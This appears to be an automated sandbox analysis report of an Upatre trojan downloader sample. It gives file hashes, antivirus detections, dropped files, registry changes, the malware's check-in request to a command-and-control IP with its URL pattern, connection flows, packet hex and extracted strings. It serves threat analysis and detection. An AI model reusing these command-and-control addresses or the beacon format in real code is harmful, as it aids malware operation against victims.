Analysis Date2015-10-14 21:13:45
MD5f611952f7b22de3da195c0d959b3196d
SHA162bf9ab4bf4aa0527a0f117f9150a16f62fc7e36

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section.text md5: 602dd8f7994d6d99a7e4a7f0e9f75e5d sha1: 9d5166492e655a6d16a7ba212e360ffacf10a962 size: 7680
Section.data md5: 4f7c1002f3f30814a007cdc8f3f243d0 sha1: b0efd9e46970e6f4b533e57c2b5883efdcc2f5f3 size: 6144
Section.rsrc md5: 1da8cbc34016ea288474408ac91ae2d7 sha1: e72abd3577ed5916b43871c4ff7540e1da8068c9 size: 19456
Timestamp2013-03-10 04:30:01
PEhashe9376b47c827e1e9caa1619a69d1236f7452b487
IMPhashc6329d86b07f896931e888a862fe6435
AVCA (E-Trust Ino)no_virus
AVF-SecureTrojan.Upatre.Gen.3
AVDr. WebTrojan.Upatre.1133
AVClamAVno_virus
AVArcabit (arcavir)Trojan.Upatre.Gen.3
AVBullGuardTrojan.Upatre.Gen.3
AVPadvishno_virus
AVVirusBlokAda (vba32)no_virus
AVCAT (quickheal)Trojan.Kadena.B4
AVTrend MicroTROJ_UPATRE.SMF4
AVKasperskyTrojan.Win32.Generic
AVZillya!no_virus
AVEmsisoftTrojan.Upatre.Gen.3
AVIkarusTrojan-Downloader.Win32.Waski
AVFrisk (f-prot)W32/Dalexis.M.gen!Eldorado
AVAuthentiumW32/Dalexis.M.gen!Eldorado
AVMalwareBytesTrojan.Upatre
AVMicroWorld (escan)Trojan.Upatre.Gen.3
AVMicrosoft Security EssentialsTrojanDownloader:Win32/Upatre
AVK7Trojan ( 004c1d4a1 )
AVBitDefenderTrojan.Upatre.Gen.3
AVFortinetW32/Kryptik.DHPD!tr
AVSymantecDownloader.Upatre!gen5
AVGrisoft (avg)Crypt_s.IKP
AVEset (nod32)Win32/Kryptik.DHPD
AVAlwil (avast)Dyre-K [Trj]
AVAd-AwareTrojan.Upatre.Gen.3
AVTwisterno_virus
AVAvira (antivir)TR/AD.Yarwi.Y.1459
AVMcafeeDownloader-FASG!F611952F7B22
AVRisingTrojan.Win32.Kryptik.af

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

Creates FileC:\Documents and Settings\Administrator\Local Settings\Temp\megatext.log
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temp\megawatto.exe
Creates ProcessC:\Documents and Settings\Administrator\Local Settings\Temp\megawatto.exe

Process
↳ C:\Documents and Settings\Administrator\Local Settings\Temp\megawatto.exe

RegistryHKEY_CURRENT_CONFIG\Software\Microsoft\windows\CurrentVersion\Internet Settings\ProxyEnable ➝
NULL
RegistryHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass ➝
1
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\658HSJSD\icanhazip[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat
Creates FileC:\Documents and Settings\Administrator\Cookies\index.dat
Creates FilePIPE\lsarpc
Creates File\Device\Afd\Endpoint
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat
Deletes FileC:\malware.exe
Creates Mutexc:!documents and settings!administrator!local settings!history!history.ie5!
Creates MutexWininetConnectionMutex
Creates Mutexc:!documents and settings!administrator!cookies!
Creates Mutexc:!documents and settings!administrator!local settings!temporary internet files!content.ie5!
Winsock DNS91.211.17.201
Winsock DNS38.124.72.230
Winsock DNS67.206.96.30
Winsock DNS208.80.80.111
Winsock DNS69.9.204.36
Winsock DNS216.245.211.242
Winsock DNS69.8.48.175
Winsock DNS38.124.111.30
Winsock DNSicanhazip.com

Network Details:

DNSicanhazip.com
Type: A
104.238.136.31
DNSicanhazip.com
Type: A
104.238.145.30
DNSicanhazip.com
Type: A
104.238.141.75
HTTP GEThttp://icanhazip.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
HTTP GEThttp://91.211.17.201:13327/WOK22/COMPUTER-XXXXXX/0/51-SP3/0/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Flows TCP192.168.1.1:1031 ➝ 104.238.136.31:80
Flows TCP192.168.1.1:1032 ➝ 91.211.17.201:13327
Flows TCP192.168.1.1:1033 ➝ 69.9.204.36:443
Flows TCP192.168.1.1:1034 ➝ 69.9.204.36:443
Flows TCP192.168.1.1:1035 ➝ 69.9.204.36:443
Flows TCP192.168.1.1:1036 ➝ 69.9.204.36:443
Flows TCP192.168.1.1:1037 ➝ 38.124.111.30:443
Flows TCP192.168.1.1:1038 ➝ 38.124.111.30:443
Flows TCP192.168.1.1:1039 ➝ 38.124.111.30:443
Flows TCP192.168.1.1:1040 ➝ 38.124.111.30:443
Flows TCP192.168.1.1:1041 ➝ 38.124.72.230:443
Flows TCP192.168.1.1:1042 ➝ 38.124.72.230:443
Flows TCP192.168.1.1:1043 ➝ 38.124.72.230:443
Flows TCP192.168.1.1:1044 ➝ 38.124.72.230:443
Flows TCP192.168.1.1:1045 ➝ 67.206.96.30:443
Flows TCP192.168.1.1:1046 ➝ 67.206.96.30:443
Flows TCP192.168.1.1:1047 ➝ 67.206.96.30:443
Flows TCP192.168.1.1:1048 ➝ 67.206.96.30:443
Flows TCP192.168.1.1:1049 ➝ 208.80.80.111:443
Flows TCP192.168.1.1:1050 ➝ 208.80.80.111:443
Flows TCP192.168.1.1:1051 ➝ 208.80.80.111:443
Flows TCP192.168.1.1:1052 ➝ 208.80.80.111:443
Flows TCP192.168.1.1:1053 ➝ 69.8.48.175:443
Flows TCP192.168.1.1:1054 ➝ 69.8.48.175:443
Flows TCP192.168.1.1:1055 ➝ 69.8.48.175:443
Flows TCP192.168.1.1:1056 ➝ 69.8.48.175:443
Flows TCP192.168.1.1:1057 ➝ 216.245.211.242:443
Flows TCP192.168.1.1:1058 ➝ 216.245.211.242:443

Raw Pcap
0x00000000 (00000)   47455420 2f204854 54502f31 2e310d0a   GET / HTTP/1.1..
0x00000010 (00016)   41636365 70743a20 74657874 2f2a2c20   Accept: text/*, 
0x00000020 (00032)   6170706c 69636174 696f6e2f 2a0d0a55   application/*..U
0x00000030 (00048)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000040 (00064)   6c612f35 2e302028 57696e64 6f777320   la/5.0 (Windows 
0x00000050 (00080)   4e542036 2e313b20 574f5736 343b2072   NT 6.1; WOW64; r
0x00000060 (00096)   763a3336 2e302920 4765636b 6f2f3230   v:36.0) Gecko/20
0x00000070 (00112)   31303031 30312046 69726566 6f782f33   100101 Firefox/3
0x00000080 (00128)   362e300d 0a486f73 743a2069 63616e68   6.0..Host: icanh
0x00000090 (00144)   617a6970 2e636f6d 0d0a4361 6368652d   azip.com..Cache-
0x000000a0 (00160)   436f6e74 726f6c3a 206e6f2d 63616368   Control: no-cach
0x000000b0 (00176)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f574f4b 32322f43 4f4d5055   GET /WOK22/COMPU
0x00000010 (00016)   5445522d 58585858 58582f30 2f35312d   TER-XXXXXX/0/51-
0x00000020 (00032)   5350332f 302f2048 5454502f 312e310d   SP3/0/ HTTP/1.1.
0x00000030 (00048)   0a557365 722d4167 656e743a 204d6f7a   .User-Agent: Moz
0x00000040 (00064)   696c6c61 2f352e30 20285769 6e646f77   illa/5.0 (Window
0x00000050 (00080)   73204e54 20362e31 3b20574f 5736343b   s NT 6.1; WOW64;
0x00000060 (00096)   2072763a 33362e30 29204765 636b6f2f    rv:36.0) Gecko/
0x00000070 (00112)   32303130 30313031 20466972 65666f78   20100101 Firefox
0x00000080 (00128)   2f33362e 300d0a48 6f73743a 2039312e   /36.0..Host: 91.
0x00000090 (00144)   3231312e 31372e32 30313a31 33333237   211.17.201:13327
0x000000a0 (00160)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x000000b0 (00176)   206e6f2d 63616368 650d0a0d 0a          no-cache....

0x00000000 (00000)   804c0103                              .L..

0x00000000 (00000)   802b01                                .+.

0x00000000 (00000)   804c0103                              .L..

0x00000000 (00000)   802b01                                .+.

0x00000000 (00000)   804c0103                              .L..

0x00000000 (00000)   802b01                                .+.

0x00000000 (00000)   804c0103                              .L..

0x00000000 (00000)   802b01                                .+.

0x00000000 (00000)   804c0103                              .L..

0x00000000 (00000)   802b01                                .+.

0x00000000 (00000)   804c0103                              .L..

0x00000000 (00000)   802b01                                .+.

0x00000000 (00000)   804c0103                              .L..

0x00000000 (00000)   802b01                                .+.

0x00000000 (00000)   804c0103                              .L..

0x00000000 (00000)   802b01                                .+.

0x00000000 (00000)   804c0103                              .L..

0x00000000 (00000)   802b01                                .+.

0x00000000 (00000)   804c0103                              .L..

0x00000000 (00000)   802b01                                .+.

0x00000000 (00000)   804c0103                              .L..

0x00000000 (00000)   802b01                                .+.

0x00000000 (00000)   804c0103                              .L..

0x00000000 (00000)   802b01                                .+.

0x00000000 (00000)   804c0103                              .L..

0x00000000 (00000)   802b01                                .+.


Strings

jjjh
((",&*
@00h@0j
0!0!H98*,>,!
00h@hj
.0#&3(3H&.IK
04FJ:G64
'05	#$!
!07'");>!&>)-E
=?&0%.+A
 0C+"*FH;FFE3
(&)0GLB.2
0h@@j@0@
0*L9/>K#DFF9
1&(0'&
10K,6G
@ 1,52I-3A'
?1;++AL6@#<
/1;NE882
*,24>.3
2;6"3#2
2CO&E'%OGGBIK=5::!1
(:2D1-
2"F),M:CE
" !'+2/>H
2"H51'
(.2H95' 1
2K%)%L3(9J/O$<>A
-"!"&30
@.31:I+E
3,5"2.
-#(35#F.
3<D6B7
3F@N&?%LC
3&G.BC1. 
""+/4#@
40,+&3$
447&(3
448'7+79*
4:5>D6J
48430"81D
4C3/GA
4I7G)?O0E8=058M*;-
*4N;7L'+
5259H,L=;
., (5"6LJ;*8!*C))3:F4
5A3A4>J
$5<<?'C>7)BJ J(K2
5LF:?#39)F- 
,@"60K
6(3>A:8'
6G#,F;2H
?6HMG*#,A
6'K14=4F
'-6KGM
<=76L6*795KM 9K
!7 7=6
$>7H3F01(<##)-5:*%
 ?,)*7HBKM
7K8$'$7E
<7L%E'8N9,AJ>)A
/$<8<(0KE
,%8:47*4
8!9,?@9BB$EE/
>!@8@"'C
>8D865EN.O
??8F!/
?8).#<(H;
),'9)'-;
$96"NI
98H4$/8B:.7AG
9=A#))
9C0D1$>=!42FLM9
%$9"C0.K#
9#)JB71CF#: <
%!&9L5"-*C/CB7%@H
,!9M.7&
($A+0NF+0>
A?.*CFBC5
?A'G)N?/
A-I+@8O1 NGIH85F.5F+I?O35FI<0
A>*@=M!*1DLFN!#5//65 D:
AM-+E)4!1*
A(/M%I
B?3I+%A$;F
!;B)A:0+E7@
BeginPaint
B@E#IAL
BG686(
button
C2*<*8J
)*($>*"C5
**%CBO L$B$/3
ClassRobo
CompareStringW
CopyFileA
CreateWindowExA
D6LD ='
D7M@?'10)92
`.data
DefWindowProcA
DestroyWindow
DialogBoxParamA
DispatchMessageA
.D/K23/H
D.*L/-
$D-M?F1K# <
DrawTextA
E#93:8>"KE;3
=EHH*#=
EndDialog
EndPaint
eUUUfff
eUUUUUU
E Va*T
ExitProcess
F6"8&!
+F&,)B?,
?FBC):6/2:K
ffffff
FI>-A:NOD
F?I(G;/3L
=>FM(TitleApplication
+GC<O(9(1(;
GE7J82"#(
GetClientRect
GetCommandLineA
GetCurrentProcess
GetLastError
GetMessageA
GetModuleHandleA
GetProcessHeap
GetStartupInfoA
GHC5:*L((A6
GHIN@=+(B"C
GLIL/%:7. 
G'M(H2#-
.,G+=,O6/
GtwwwP
h00jjj
#H78C2$
HB*>7B5,N
)H"BI!77
HD-F3JJ/&
HeapAlloc
hGGGHDE
H.M$0("+:F88IN
HN,B.#8",
hwttttE
hwwtttu
hwwwGGE
hwwwwwE
!<I1#JI8;
I;)5<>0
ia*X	C]D
>IL8)='<
InitializeCriticalSection
j0hjjj
J@@ ?15$
J&),5J 
J@.6D&CKF
;,J9#?"499L
@jdhxB@
'J!E=0=5DF@'4%4:LIK
=#(JID.E
jj0@0@
jjh0hj00@0
@j@jjhhj
JL0F@69
*'.K3:0AH9
%$KD$1(
KERNEL32.dll
?KI<1&9%"
;/&KJ6&8#%8A,>B<
KK%KC7
K@+!?&N2C
L(;--%
L:5 ENM7%/E*B+<*@MC:
L;BE4!72-D.IE344'IE
,LC8:A
LD< ,5 8!7@ND
L>)I##8
L K",8
LoadCursorA
LoadIconA
LoadLibraryA
LoadStringA
lQLvBC
"M#2.43
M 2,'E!-/'
M*3C@7<)J44'65*7
M .4!,
M&6&$N-4
!=)M<+C
=MI/&EE
,MN8.=++-FN+ 
/]M(Xt
:'N*)3./-'E2JKBO=
N+@##94'>H= 
ND 9*#(*
/@N;F*5",$.O 
*NKC'@5
(!.N>L"=H/#,/;"
#/#:NOM
-OC!>FH!
!O!/D$O(I
%;,O.I,G!-.:
PawwwGE
PffffffWP
Please
PostQuitMessage
_Q6c|x`
RegisterClassExA
RemoveDirectoryA
ReplaceFileA
riched32.dll
richedit
SendMessageA
SetFileAttributesA
SetLastError
ShowWindow
static
Static1
Static2
!This program cannot be run in DOS mode.
TranslateMessage
twGD``awwGtu
UpdateWindow
USER32.dll
vf61|"\
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security>    <requestedPrivileges>     <requestedExecutionLevel  level="asInvoker" uiAccess="false"/></requestedPrivileges></security></trustInfo></assembly>